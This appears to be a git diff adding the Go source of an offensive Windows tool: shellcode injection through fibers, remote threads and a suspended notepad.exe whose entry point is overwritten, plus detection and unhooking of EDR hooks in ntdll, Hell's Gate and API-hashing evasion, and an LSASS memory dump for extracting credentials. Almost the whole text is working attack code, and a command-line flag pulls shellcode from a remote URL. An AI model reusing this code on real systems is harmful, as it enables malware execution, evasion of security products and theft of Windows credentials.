+ VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
+
+ // Create fiber
+ fiber, _, _ := CreateFiber.Call(0, addr, 0)
+
+ _, _, errSwitchToFiber := SwitchToFiber.Call(fiber)
+ if errSwitchToFiber != nil {
+ fmt.Println("errSwitchToFiber", errSwitchToFiber.Error())
+ }
+
+ _, _, errSwitchToFiber2 := SwitchToFiber.Call(fiberAddr)
+ if errSwitchToFiber2 != nil {
+ fmt.Println("errSwitchToFiber2", errSwitchToFiber2.Error())
+ }
+
+ return nil
+}
+
+
+
+
+
diff --git a/core/flags.go b/core/flags.go
new file mode 100644
index 0000000..638cdc2
--- /dev/null
+++ b/core/flags.go
@@ -0,0 +1,42 @@
+package core
+
+/*
+
+This package returns CLI flags with customizble options
+
+*/
+
+import (
+ "flag"
+)
+
+func ParseFlags() (string, string, string, string, bool, bool, bool, bool, bool, bool, string) {
+ var sc_url string
+ var sc_file string
+ var dll_file string
+ var technique string
+ var hook_detect bool
+ var hells bool
+ var unhook bool
+ var base64_flag bool
+ var hex_flag bool
+ var test_flag bool
+ var lsass_flag string
+
+ flag.StringVar(&sc_url, "url", "", "remote shellcode url (e.g. http://192.168.1.37/shellcode.bin)")
+ flag.StringVar(&sc_file, "file", "", "path to file where shellcode is stored")
+ flag.StringVar(&dll_file, "dll", "", "path to DLL you want to inject with function name sepparated by comma (i.e. evil.dll,xyz)")
+ flag.StringVar(&technique, "t", "", "shellcode injection technique: CreateRemoteThread, Fibers, OpenProcess, EarlyBirdApc (by default: random)")
+ flag.BoolVar(&hook_detect, "hooks", false, "dinamically detect hooked functions by EDR")
+ flag.BoolVar(&hells, "hells", false, "enable Hell's Gate technique to try to evade possible EDRs")
+ flag.BoolVar(&unhook, "unhook", false, "overwrite syscall memory address to bypass EDR (if no function is hooked it doesn't do nothing)")
+ flag.BoolVar(&base64_flag, "b64", false, "decode base64 encoded shellcode")
+ flag.BoolVar(&hex_flag, "hex", false, "decode hex encoded shellcode")
+ flag.BoolVar(&test_flag, "test", false, "test shellcode injection capabilities by spawning a calc.exe")
+ flag.StringVar(&lsass_flag, "lsass", "", "dump lsass.exe process memory into a file to extract credentials (run as admin)")
+ flag.Parse()
+
+ return sc_url, sc_file, dll_file, technique, hook_detect, hells, unhook, base64_flag, hex_flag, test_flag, lsass_flag // Return all param values
+}
+
+
diff --git a/core/hashing.go b/core/hashing.go
new file mode 100644
index 0000000..2c885ba
--- /dev/null
+++ b/core/hashing.go
@@ -0,0 +1,46 @@
+package core
+
+/*
+
+References:
+https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware
+
+*/
+
+import (
+ "errors"
+
+ "golang.org/x/sys/windows"
+
+ // Third-party
+ "github.com/Binject/debug/pe"
+)
+
+// Check if hash is a valid function and return its proc
+func FuncFromHash(hash string, dll string) (*windows.LazyProc, string, error) {
+ dll_pe, err := pe.Open(dll) // Open and parse dll as a PE
+ if err != nil {
+ return new(windows.LazyProc), "", err
+ }
+ defer dll_pe.Close()
+
+ exports, err := dll_pe.Exports() // Get exported functions
+ if err != nil {
+ return new(windows.LazyProc), "", err
+ }
+
+ for _, ex := range exports {
+ if (StrToSha1(ex.Name) == hash) {
+ return windows.NewLazyDLL(dll).NewProc(ex.Name), ex.Name, nil
+ }
+ }
+
+ return new(windows.LazyProc), "", errors.New("function not found!")
+}
+
+// Convert string to sha1
+func HashFromFunc(funcname string) (string) {
+ return StrToSha1(funcname)
+}
+
+
diff --git a/core/hooks.go b/core/hooks.go
new file mode 100644
index 0000000..5c6cc39
--- /dev/null
+++ b/core/hooks.go
@@ -0,0 +1,77 @@
+package core
+
+/*
+
+This package provides a function to detect Windows API hooked functions (e.g. CreateRemoteThread)
+
+References:
+https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscall-functions
+https://github.com/C-Sto/BananaPhone
+
+*/
+
+import (
+ "fmt"
+ "errors"
+ "strings"
+
+ // Third-party packages
+ "github.com/Binject/debug/pe"
+)
+
+func DetectHooks() ([]string, error) {
+ var hooked_functions []string
+
+ ntdll_pe, err := pe.Open(ntdllpath) // Open and parse ntdll.dll as a PE
+ if err != nil {
+ return hooked_functions, err
+ }
+ defer ntdll_pe.Close()
+
+ exports, err := ntdll_pe.Exports() // Get exported functions
+ if err != nil {
+ return hooked_functions, err
+ }
+
+ for _, exp := range exports { // Iterate over them
+ offset := RvaToOffset(ntdll_pe, exp.VirtualAddress) // Get RVA offset
+ bBytes, err := ntdll_pe.Bytes() // Get bytes from ntdll.dll
+ if err != nil {
+ return hooked_functions, err
+ }
+
+ buff := bBytes[offset : offset+10]
+ _, err = CheckBytes(buff) // Get syscall ID (if function is hooked it returns a custom error)
+ var hook_err MayBeHookedError
+
+ if (len(exp.Name) > 3) { // Avoid errors by checking function name length
+ if exp.Name[0:2] == "Nt" || exp.Name[0:2] == "Zw" { // Just use functions which start by "Nt" or "Zw"
+ if errors.As(err, &hook_err) == false { // Check error
+ /*if bytes.HasPrefix(buff, []byte{0xE9}) == false {
+ fmt.Println(exp.Name)
+ }*/
+ hooked_functions = append(hooked_functions, exp.Name)
+ }
+ }
+ }
+ }
+
+ return hooked_functions, nil
+}
+
+func IsHooked(funcname string) (bool, error) {
+ all_hooks, err := DetectHooks()
+ if err != nil {
+ return false, err
+ }
+
+ for _, h := range all_hooks {
+ if (strings.ToLower(funcname) == strings.ToLower(h)) {
+ return true, nil
+ }
+ }
+
+ return false, nil
+}
+
+
diff --git a/core/injection.go b/core/injection.go
new file mode 100644
index 0000000..dad29a7
--- /dev/null
+++ b/core/injection.go
@@ -0,0 +1,48 @@
+package core
+
+import (
+ "fmt"
+ "strings"
+)
+
+var techniques = []string{"CreateRemoteThread", "Fibers", "CreateProcess", "EarlyBirdApc"}
+
+func InjectWithTechnique(shellcode []byte, technique string) (error) {
+ // Check especified injection technique
+ if (strings.ToLower(technique) == "createremotethread") {
+ err := CreateRemoteThread(shellcode)
+ if err != nil {
+ return err
+ }
+
+ } else if (strings.ToLower(technique) == "fibers") {
+ err := Fibers(shellcode)
+ if err != nil {
+ return err
+ }
+
+ } else if (strings.ToLower(technique) == "createprocess") {
+ err := CreateProcess(shellcode)
+ if err != nil {
+ return err
+ }
+
+ } else if (strings.ToLower(technique) == "earlybirdapc") {
+ err := EarlyBirdApc(shellcode)
+ if err != nil {
+ return err
+ }
+
+ } else {
+ rand_n := RandomInt(3, 0)
+ fmt.Println("[*] Injecting shellcode using " + techniques[rand_n] + " function")
+ err := InjectWithTechnique(shellcode, techniques[rand_n])
+ if err != nil {
+ return err
+ }
+ }
+
+ return nil
+}
+
+
diff --git a/core/lsass.go b/core/lsass.go
new file mode 100644
index 0000000..e610bed
--- /dev/null
+++ b/core/lsass.go
@@ -0,0 +1,165 @@
+package core
+
+/*
+
+References:
+https://github.com/calebsargent/GoProcDump
+https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
+
+*/
+
+import (
+ "os"
+ "syscall"
+ "unsafe"
+
+ mproc "github.com/D3Ext/maldev/process"
+)
+
+func DumpLsass(output string) (error) {
+ err := elevateProcessToken()
+ if err != nil {
+ return err
+ }
+
+ all_lsass_pids, err := mproc.FindPidByName("lsass.exe")
+ if err != nil {
+ return err
+ }
+ lsass_pid := all_lsass_pids[0]
+
+ //set up Win32 APIs
+ var dbghelp = syscall.NewLazyDLL("Dbghelp.dll")
+ var procMiniDumpWriteDump = dbghelp.NewProc("MiniDumpWriteDump")
+ var kernel32 = syscall.NewLazyDLL("kernel32.dll")
+ var procOpenProcess = kernel32.NewProc("OpenProcess")
+ var procCreateFileW = kernel32.NewProc("CreateFileW")
+
+ // error not handle because it's unstable
+ processHandle, _, _ := procOpenProcess.Call(uintptr(0xFFFF), uintptr(1), uintptr(lsass_pid))
+
+ // Create memory dump
+ os.Create(output)
+
+ path, _ := syscall.UTF16PtrFromString(output)
+ fileHandle, _, _ := procCreateFileW.Call(
+ uintptr(unsafe.Pointer(path)),
+ syscall.GENERIC_WRITE,
+ syscall.FILE_SHARE_READ|syscall.FILE_SHARE_WRITE,
+ 0,
+ syscall.OPEN_EXISTING,
+ syscall.FILE_ATTRIBUTE_NORMAL,
+ 0,
+ )
+
+ ret, _, err := procMiniDumpWriteDump.Call(
+ uintptr(processHandle),
+ uintptr(lsass_pid),
+ uintptr(fileHandle),
+ 0x00061907,
+ 0,
+ 0,
+ 0,
+ )
+
+ if (ret == 0) {
+ os.Remove(output)
+ return err
+ }
+
+ return nil
+}
+
+func elevateProcessToken() (error) {
+
+ //token elevation process sourced from
+ //https://stackoverflow.com/questions/39595252/shutting-down-windows-using-golang-code
+
+ type Luid struct {
+ lowPart uint32 // DWORD
+ highPart int32 // long
+ }
+
+ type LuidAndAttributes struct {
+ luid Luid // LUID
+ attributes uint32 // DWORD
+ }
+
+ type TokenPrivileges struct {
+ privilegeCount uint32 // DWORD
+ privileges [1]LuidAndAttributes
+ }
+
+ const SeDebugPrivilege = "SeDebugPrivilege"
+ const tokenAdjustPrivileges = 0x0020
+ const tokenQuery = 0x0008
+ var hToken uintptr
+
+ user32 := syscall.MustLoadDLL("user32")
+ defer user32.Release()
+
+ kernel32 := syscall.MustLoadDLL("kernel32")
+ defer user32.Release()
+
+ advapi32 := syscall.MustLoadDLL("advapi32")
+ defer advapi32.Release()
+
+ GetCurrentProcess := kernel32.MustFindProc("GetCurrentProcess")
+ GetLastError := kernel32.MustFindProc("GetLastError")
+ OpenProdcessToken := advapi32.MustFindProc("OpenProcessToken")
+ LookupPrivilegeValue := advapi32.MustFindProc("LookupPrivilegeValueW")
+ AdjustTokenPrivileges := advapi32.MustFindProc("AdjustTokenPrivileges")
+
+ currentProcess, _, _ := GetCurrentProcess.Call()
+
+ result, _, err := OpenProdcessToken.Call(
+ currentProcess,
+ tokenAdjustPrivileges|tokenQuery,
+ uintptr(unsafe.Pointer(&hToken)),
+ )
+
+ if result != 1 {
+ return err
+ }
+
+ var tkp TokenPrivileges
+
+ result, _, err = LookupPrivilegeValue.Call(
+ uintptr(0),
+ uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(SeDebugPrivilege))),
+ uintptr(unsafe.Pointer(&(tkp.privileges[0].luid))),
+ )
+
+ if result != 1 {
+ return err
+ }
+
+ const SePrivilegeEnabled uint32 = 0x00000002
+
+ tkp.privilegeCount = 1
+ tkp.privileges[0].attributes = SePrivilegeEnabled
+
+ result, _, err = AdjustTokenPrivileges.Call(
+ hToken,
+ 0,
+ uintptr(unsafe.Pointer(&tkp)),
+ 0,
+ uintptr(0),
+ 0,
+ )
+
+ if result != 1 {
+ return err
+ }
+
+ result, _, _ = GetLastError.Call()
+ if result != 0 {
+ return err
+ }
+
+ return nil
+}
+
+
+
+
diff --git a/core/openprocess.go b/core/openprocess.go
new file mode 100644
index 0000000..d2bc168
--- /dev/null
+++ b/core/openprocess.go
@@ -0,0 +1,301 @@
+package core
+
+/*
+
+References:
+https://github.com/Ne0nd0g/go-shellcode/blob/master/cmd/CreateProcess/main.go
+
+*/
+
+import (
+ "encoding/binary"
+ "fmt"
+ "log"
+ "syscall"
+ "errors"
+ "unsafe"
+
+ // Sub Repositories
+ "golang.org/x/sys/windows"
+)
+
+func CreateProcess(shellcode []byte) (error) {
+
+ kernel32 := windows.NewLazySystemDLL("kernel32.dll")
+ ntdll := windows.NewLazySystemDLL("ntdll.dll")
+
+ VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
+ VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
+ WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
+ NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
+
+ procInfo := &windows.ProcessInformation{}
+ startupInfo := &windows.StartupInfo{
+ Flags: windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED,
+ }
+
+ errCreateProcess := windows.CreateProcess(syscall.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"), syscall.StringToUTF16Ptr(""), nil, nil, true, windows.CREATE_SUSPENDED, nil, nil, startupInfo, procInfo)
+ if errCreateProcess != nil {
+ return errCreateProcess
+ }
+
+ addr, _, _ := VirtualAllocEx.Call(uintptr(procInfo.Process), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
+
+ if addr == 0 {
+ return errors.New("VirtualAllocEx failed and returned 0")
+ }
+
+ // Write shellcode into child process memory
+ WriteProcessMemory.Call(uintptr(procInfo.Process), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
+
+ oldProtect := windows.PAGE_READWRITE
+ VirtualProtectEx.Call(uintptr(procInfo.Process), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
+
+ type PEB struct {
+ InheritedAddressSpace byte // BYTE 0
+ ReadImageFileExecOptions byte // BYTE 1
+ BeingDebugged byte // BYTE 2
+ reserved2 [1]byte // BYTE 3
+ Mutant uintptr // BYTE 4
+ ImageBaseAddress uintptr // BYTE 8
+ Ldr uintptr // PPEB_LDR_DATA
+ ProcessParameters uintptr // PRTL_USER_PROCESS_PARAMETERS
+ reserved4 [3]uintptr // PVOID
+ AtlThunkSListPtr uintptr // PVOID
+ reserved5 uintptr // PVOID
+ reserved6 uint32 // ULONG
+ reserved7 uintptr // PVOID
+ reserved8 uint32 // ULONG
+ AtlThunkSListPtr32 uint32 // ULONG
+ reserved9 [45]uintptr // PVOID
+ reserved10 [96]byte // BYTE
+ PostProcessInitRoutine uintptr // PPS_POST_PROCESS_INIT_ROUTINE
+ reserved11 [128]byte // BYTE
+ reserved12 [1]uintptr // PVOID
+ SessionId uint32 // ULONG
+ }
+
+ // https://github.com/elastic/go-windows/blob/master/ntdll.go#L77
+ type PROCESS_BASIC_INFORMATION struct {
+ reserved1 uintptr // PVOID
+ PebBaseAddress uintptr // PPEB
+ reserved2 [2]uintptr // PVOID
+ UniqueProcessId uintptr // ULONG_PTR
+ InheritedFromUniqueProcessID uintptr // PVOID
+ }
+
+ var processInformation PROCESS_BASIC_INFORMATION
+ var returnLength uintptr
+ ntStatus, _, _ := NtQueryInformationProcess.Call(uintptr(procInfo.Process), 0, uintptr(unsafe.Pointer(&processInformation)), unsafe.Sizeof(processInformation), returnLength)
+
+ if ntStatus != 0 {
+ if ntStatus == 3221225476 {
+ return errors.New("Error calling NtQueryInformationProcess: STATUS_INFO_LENGTH_MISMATCH") // 0xc0000004 (3221225476)
+ }
+ fmt.Println(fmt.Sprintf("[!] NtQueryInformationProcess returned NTSTATUS: %x(%d)", ntStatus, ntStatus))
+ return errors.New("Error calling NtQueryInformationProcess")
+ }
+
+ // Read from PEB base address to populate the PEB structure
+ ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
+
+ var peb PEB
+ var readBytes int32
+
+ ReadProcessMemory.Call(uintptr(procInfo.Process), processInformation.PebBaseAddress, uintptr(unsafe.Pointer(&peb)), unsafe.Sizeof(peb), uintptr(unsafe.Pointer(&readBytes)))
+
+ // Read the child program's DOS header and validate it is a MZ executable
+ type IMAGE_DOS_HEADER struct {
+ Magic uint16 // USHORT Magic number
+ Cblp uint16 // USHORT Bytes on last page of file
+ Cp uint16 // USHORT Pages in file
+ Crlc uint16 // USHORT Relocations
+ Cparhdr uint16 // USHORT Size of header in paragraphs
+ MinAlloc uint16 // USHORT Minimum extra paragraphs needed
+ MaxAlloc uint16 // USHORT Maximum extra paragraphs needed
+ SS uint16 // USHORT Initial (relative) SS value
+ SP uint16 // USHORT Initial SP value
+ CSum uint16 // USHORT Checksum
+ IP uint16 // USHORT Initial IP value
+ CS uint16 // USHORT Initial (relative) CS value
+ LfaRlc uint16 // USHORT File address of relocation table
+ Ovno uint16 // USHORT Overlay number
+ Res [4]uint16 // USHORT Reserved words
+ OEMID uint16 // USHORT OEM identifier (for e_oeminfo)
+ OEMInfo uint16 // USHORT OEM information; e_oemid specific
+ Res2 [10]uint16 // USHORT Reserved words
+ LfaNew int32 // LONG File address of new exe header
+ }
+
+ var dosHeader IMAGE_DOS_HEADER
+ var readBytes2 int32
+
+ ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress, uintptr(unsafe.Pointer(&dosHeader)), unsafe.Sizeof(dosHeader), uintptr(unsafe.Pointer(&readBytes2)))
+
+ // 23117 is the LittleEndian unsigned base10 representation of MZ
+ // 0x5a4d is the LittleEndian unsigned base16 represenation of MZ
+ if dosHeader.Magic != 23117 {
+ log.Fatal(fmt.Sprintf("[!]DOS image header magic string was not MZ"))
+ }
+
+ // Read the child process's PE header signature to validate it is a PE
+ var Signature uint32
+ var readBytes3 int32
+
+ ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew), uintptr(unsafe.Pointer(&Signature)), unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&readBytes3)))
+
+ // 17744 is Little Endian Unsigned 32-bit integer in decimal for PE (null terminated)
+ // 0x4550 is Little Endian Unsigned 32-bit integer in hex for PE (null terminated)
+ if Signature != 17744 {
+ return errors.New("PE Signature string was not PE")
+ }
+
+ type IMAGE_FILE_HEADER struct {
+ Machine uint16
+ NumberOfSections uint16
+ TimeDateStamp uint32
+ PointerToSymbolTable uint32
+ NumberOfSymbols uint32
+ SizeOfOptionalHeader uint16
+ Characteristics uint16
+ }
+
+ var peHeader IMAGE_FILE_HEADER
+ var readBytes4 int32
+
+ ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&peHeader)), unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&readBytes4)))
+
+ type IMAGE_OPTIONAL_HEADER64 struct {
+ Magic uint16
+ MajorLinkerVersion byte
+ MinorLinkerVersion byte
+ SizeOfCode uint32
+ SizeOfInitializedData uint32
+ SizeOfUninitializedData uint32
+ AddressOfEntryPoint uint32
+ BaseOfCode uint32
+ ImageBase uint64
+ SectionAlignment uint32
+ FileAlignment uint32
+ MajorOperatingSystemVersion uint16
+ MinorOperatingSystemVersion uint16
+ MajorImageVersion uint16
+ MinorImageVersion uint16
+ MajorSubsystemVersion uint16
+ MinorSubsystemVersion uint16
+ Win32VersionValue uint32
+ SizeOfImage uint32
+ SizeOfHeaders uint32
+ CheckSum uint32
+ Subsystem uint16
+ DllCharacteristics uint16
+ SizeOfStackReserve uint64
+ SizeOfStackCommit uint64
+ SizeOfHeapReserve uint64
+ SizeOfHeapCommit uint64
+ LoaderFlags uint32
+ NumberOfRvaAndSizes uint32
+ DataDirectory uintptr
+ }
+
+ type IMAGE_OPTIONAL_HEADER32 struct {
+ Magic uint16
+ MajorLinkerVersion byte
+ MinorLinkerVersion byte
+ SizeOfCode uint32
+ SizeOfInitializedData uint32
+ SizeOfUninitializedData uint32
+ AddressOfEntryPoint uint32
+ BaseOfCode uint32
+ BaseOfData uint32 // Different from 64 bit header
+ ImageBase uint64
+ SectionAlignment uint32
+ FileAlignment uint32
+ MajorOperatingSystemVersion uint16
+ MinorOperatingSystemVersion uint16
+ MajorImageVersion uint16
+ MinorImageVersion uint16
+ MajorSubsystemVersion uint16
+ MinorSubsystemVersion uint16
+ Win32VersionValue uint32
+ SizeOfImage uint32
+ SizeOfHeaders uint32
+ CheckSum uint32
+ Subsystem uint16
+ DllCharacteristics uint16
+ SizeOfStackReserve uint64
+ SizeOfStackCommit uint64
+ SizeOfHeapReserve uint64
+ SizeOfHeapCommit uint64
+ LoaderFlags uint32
+ NumberOfRvaAndSizes uint32
+ DataDirectory uintptr
+ }
+
+ var optHeader64 IMAGE_OPTIONAL_HEADER64
+ var optHeader32 IMAGE_OPTIONAL_HEADER32
+ var readBytes5 int32
+
+ if peHeader.Machine == 34404 { // 0x8664
+ ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader64)), unsafe.Sizeof(optHeader64), uintptr(unsafe.Pointer(&readBytes5)))
+ } else if peHeader.Machine == 332 { // 0x14c
+ ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader32)), unsafe.Sizeof(optHeader32), uintptr(unsafe.Pointer(&readBytes5)))
+ } else {
+ return errors.New(fmt.Sprintf("Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
+ }
+
+ // Overwrite the value at AddressofEntryPoint field with trampoline to load the shellcode address in RAX/EAX and jump to it
+ var ep uintptr
+ if peHeader.Machine == 34404 { // 0x8664 x64
+ ep = peb.ImageBaseAddress + uintptr(optHeader64.AddressOfEntryPoint)
+ } else if peHeader.Machine == 332 { // 0x14c x86
+ ep = peb.ImageBaseAddress + uintptr(optHeader32.AddressOfEntryPoint)
+ } else {
+ return errors.New(fmt.Sprintf("Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
+ }
+
+ var epBuffer []byte
+ var shellcodeAddressBuffer []byte
+ if peHeader.Machine == 34404 { // 0x8664 x64
+ epBuffer = append(epBuffer, byte(0x48))
+ epBuffer = append(epBuffer, byte(0xb8))
+ shellcodeAddressBuffer = make([]byte, 8) // 8 bytes for 64-bit address
+ binary.LittleEndian.PutUint64(shellcodeAddressBuffer, uint64(addr))
+ epBuffer = append(epBuffer, shellcodeAddressBuffer...)
+ } else if peHeader.Machine == 332 { // 0x14c x86
+ epBuffer = append(epBuffer, byte(0xb8))
+ shellcodeAddressBuffer = make([]byte, 4) // 4 bytes for 32-bit address
+ binary.LittleEndian.PutUint32(shellcodeAddressBuffer, uint32(addr))
+ epBuffer = append(epBuffer, shellcodeAddressBuffer...)
+ } else {
+ return errors.New(fmt.Sprintf("Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
+ }
+
+ // 0xff ; 0xe0 = jmp [r|e]ax
+ epBuffer = append(epBuffer, byte(0xff))
+ epBuffer = append(epBuffer, byte(0xe0))
+
+ WriteProcessMemory.Call(uintptr(procInfo.Process), ep, uintptr(unsafe.Pointer(&epBuffer[0])), uintptr(len(epBuffer)))
+
+ // Resume the child process
+ _, errResumeThread := windows.ResumeThread(procInfo.Thread)
+ if errResumeThread != nil {
+ return errors.New(fmt.Sprintf("Error calling ResumeThread:\r\n%s", errResumeThread.Error()))
+ }
+
+ // Close the handle to the child process
+ errCloseProcHandle := windows.CloseHandle(procInfo.Process)
+ if errCloseProcHandle != nil {
+ return errors.New(fmt.Sprintf("Error closing the child process handle:\r\n\t%s", errCloseProcHandle.Error()))
+ }
+
+ // Close the hand to the child process thread
+ errCloseThreadHandle := windows.CloseHandle(procInfo.Thread)
+ if errCloseThreadHandle != nil {
+ return errors.New(fmt.Sprintf("Error closing the child process thread handle:\r\n\t%s", errCloseThreadHandle.Error()))
+ }
+
+ return nil
+}
+
+
diff --git a/core/unhook.go b/core/unhook.go
new file mode 100644
index 0000000..f3e8792
--- /dev/null
+++ b/core/unhook.go
@@ -0,0 +1,56 @@
+package core
+
+/*
+
+References:
+https://github.com/RedLectroid/APIunhooker
+https://www.ired.team/offensive-security/defense-evasion/bypassing-cylance-and-other-avs-edrs-by-unhooking-windows-apis
+
+*/
+
+import (
+ "fmt"
+ "unsafe"
+ "syscall"
+
+ "golang.org/x/sys/windows"
+)
+
+func Unhook(funcname string) (error) {
+
+ // Load DLL APIs
+ k32 := syscall.NewLazyDLL("kernel32.dll")
+ getCurrentProcess := k32.NewProc("GetCurrentProcess")
+ getModuleHandle := k32.NewProc("GetModuleHandleW")
+ getProcAddress := k32.NewProc("GetProcAddress")
+ writeProcessMemory := k32.NewProc("WriteProcessMemory")
+
+ var assembly_bytes []byte
+
+ ntdll_lib, _ := syscall.LoadLibrary("C:\\Windows\\System32\\ntdll.dll")
+ defer syscall.FreeLibrary(ntdll_lib)
+
+ procAddr, _ := syscall.GetProcAddress(ntdll_lib, funcname)
+
+ ptr_bytes := (*[1 << 30]byte)(unsafe.Pointer(procAddr))
+ funcBytes := ptr_bytes[:5:5]
+
+ for i := 0; i < 5; i++ {
+ assembly_bytes = append(assembly_bytes, funcBytes[i])
+ }
+
+ ownHandle, _, _ := getCurrentProcess.Call()
+
+ ntdll_ptr, _ := windows.UTF16PtrFromString("ntdll.dll")
+ moduleHandle, _, _ := getModuleHandle.Call(uintptr(unsafe.Pointer(ntdll_ptr)))
+
+ func_ptr, _ := windows.UTF16PtrFromString(funcname)
+ procAddr2, _, _ := getProcAddress.Call(moduleHandle, uintptr(unsafe.Pointer(func_ptr)))
+
+ // Overwrite address with original function bytes
+ writeProcessMemory.Call(ownHandle, procAddr2, uintptr(unsafe.Pointer(&assembly_bytes[0])), 5, uintptr(0))
+
+ return nil
+}
+
+
diff --git a/go.mod b/go.mod
new file mode 100644
index 0000000..36a8e4d
--- /dev/null
+++ b/go.mod
@@ -0,0 +1,20 @@
+module github.com/D3Ext/Hooka
+
+go 1.19
+
+require (
+ github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee
+ github.com/C-Sto/BananaPhone v0.0.0-20220220002628-6585e5913761
+ golang.org/x/sys v0.3.0
+)
+
+require (
+ github.com/D3Ext/maldev v0.1.3 // indirect
+ github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
+ github.com/briandowns/spinner v1.20.0 // indirect
+ github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be // indirect
+ github.com/fatih/color v1.13.0 // indirect
+ github.com/mattn/go-colorable v0.1.9 // indirect
+ github.com/mattn/go-isatty v0.0.14 // indirect
+ golang.org/x/term v0.3.0 // indirect
+)
diff --git a/go.sum b/go.sum
new file mode 100644
index 0000000..b450cb5
--- /dev/null
+++ b/go.sum
@@ -0,0 +1,34 @@
+github.com/Binject/debug v0.0.0-20200830173345-f54480b6530f/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
+github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee h1:neBp9wDYVY4Uu1gGlrL+IL4JeZslz+hGEAjBXGAPWak=
+github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
+github.com/C-Sto/BananaPhone v0.0.0-20220220002628-6585e5913761 h1:0144WWUvo86bVDEkxb3vmM92DCEsrkSYSd5gV1YlGKE=
+github.com/C-Sto/BananaPhone v0.0.0-20220220002628-6585e5913761/go.mod h1:QsEPWHZooj8uXL2YEdpQX+hDr00Plw7myenTiduBHRA=
+github.com/D3Ext/maldev v0.1.3 h1:cn4TGdHpdUmjpNhLJ2/lpgU1TkJrEBVJGWcdgm7RQSg=
+github.com/D3Ext/maldev v0.1.3/go.mod h1:+ZMVJlimO5ROIg34U/QkhmIQa0dU7rzxbhkFMH/DADQ=
+github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
+github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab3yuID8nIhLfzwoBV+lBRyaC7NhuN8qL8xE=
+github.com/briandowns/spinner v1.20.0 h1:GQq1Yf1KyzYT8CY19GzWrDKP6hYOFB6J72Ks7d8aO1U=
+github.com/briandowns/spinner v1.20.0/go.mod h1:TcwZHb7Wb6vn/+bcVv1UXEzaA4pLS7yznHlkY/HzH44=
+github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be h1:J5BL2kskAlV9ckgEsNQXscjIaLiOYiZ75d4e94E6dcQ=
+github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be/go.mod h1:mk5IQ+Y0ZeO87b858TlA645sVcEcbiX6YqP98kt+7+w=
+github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
+github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w=
+github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk=
+github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
+github.com/mattn/go-colorable v0.1.9 h1:sqDoxXbdeALODt0DAeJCVp38ps9ZogZEAXjus69YV3U=
+github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
+github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
+github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
+github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y=
+github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=
+golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
